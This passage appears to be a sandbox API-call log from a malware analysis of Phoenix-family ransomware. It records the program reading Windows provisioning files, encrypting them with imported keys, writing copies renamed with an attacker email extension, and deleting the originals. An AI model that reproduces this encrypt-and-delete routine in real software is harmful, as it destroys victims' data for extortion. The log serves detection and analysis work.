	[0241.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0241.958] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0241.958] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0241.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0241.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0241.959] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0241.959] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1ee, lpOverlapped=0x0) returned 1
	[0242.155] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0242.155] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0242.155] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0242.155] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.155] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0242.156] CryptDestroyKey (hKey=0x151700) returned 1
	[0242.156] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0242.156] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0242.156] CloseHandle (hObject=0x2f0) returned 1
	[0242.156] CloseHandle (hObject=0x2f4) returned 1
	[0242.156] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.157] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0242.157] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0242.157] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=734) returned 1
	[0242.157] CloseHandle (hObject=0x2f4) returned 1
	[0242.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0242.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.157] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0242.157] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.158] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.158] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0242.158] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0242.158] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.158] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2de, lpOverlapped=0x0) returned 1
	[0242.247] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0242.247] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0242.248] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0242.248] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.248] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0242.248] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0242.248] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0242.248] CryptDestroyKey (hKey=0x151700) returned 1
	[0242.248] CloseHandle (hObject=0x2f4) returned 1
	[0242.248] CloseHandle (hObject=0x2f0) returned 1
	[0242.248] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml")) returned 1
	[0242.249] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0242.249] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0242.250] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0242.250] CloseHandle (hObject=0x2f0) returned 1
	[0242.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0242.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.250] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0242.250] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.250] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.251] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0242.251] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0242.251] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.251] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0242.349] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0242.349] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0242.350] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0242.350] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.350] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0242.350] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0242.350] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0242.351] CryptDestroyKey (hKey=0x151580) returned 1
	[0242.351] CloseHandle (hObject=0x2f0) returned 1
	[0242.351] CloseHandle (hObject=0x2f4) returned 1
	[0242.351] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml")) returned 1
	[0242.352] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0242.352] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0242.352] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=835) returned 1
	[0242.352] CloseHandle (hObject=0x2f4) returned 1
	[0242.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.353] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0242.353] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.353] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.353] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0242.353] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0242.353] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.353] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x343, lpOverlapped=0x0) returned 1
	[0242.497] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0242.497] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0242.497] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0242.497] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.497] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0242.497] CryptDestroyKey (hKey=0x151600) returned 1
	[0242.497] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0242.498] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0242.498] CloseHandle (hObject=0x2f4) returned 1
	[0242.498] CloseHandle (hObject=0x2f0) returned 1
	[0242.498] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.504] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0242.504] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.507] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=768) returned 1
	[0242.507] CloseHandle (hObject=0x2e8) returned 1
	[0242.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0242.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.508] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.508] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0242.509] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0242.509] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.509] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x300, lpOverlapped=0x0) returned 1
